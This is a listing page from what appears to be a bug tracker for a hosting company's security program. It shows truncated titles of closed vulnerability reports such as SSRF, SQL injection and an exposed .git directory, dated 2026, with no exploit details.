 347  Unrestricted Apache Directive Injection Leading to Remo ...Closed25.06.2026
 346  Title : Mailman User Account Takeover Due to Inconsiste ...Closed02.07.2026
 345  Server-Side Request Forgery (SSRF) via Reverse Proxy Co ...Closed24.06.2026
 344  Exposed .git directory on security.alwaysdata.com leaks ...Closed20.06.2026
 343  SSRF: TYPE_URLS scheduled jobs fetch arbitrary URLs, no ...Closed04.06.2026
 342  Login rate limit bypass enables unlimited credential st ...Closed01.06.2026
 341  Unauthenticated Generation of Production PayZen Payment ...Closed01.06.2026
 340  API Customer Create Endpoint Accessible Without Authent ...Closed01.06.2026
 339  High Severity: SQL Injection via 'redirect_from' parame ...Closed01.06.2026
 338   2FA Secret Permanently Exposed in Profile Page HTML Af ...Closed03.06.2026
 337  [ALW-001] Flyspray .git Directory Fully Exposed on secu ...Closed11.05.2026
Showing tasks 1 - 50 of 345 Page 1 of 7

Available keyboard shortcuts

Tasklist

Task Details

Task Editing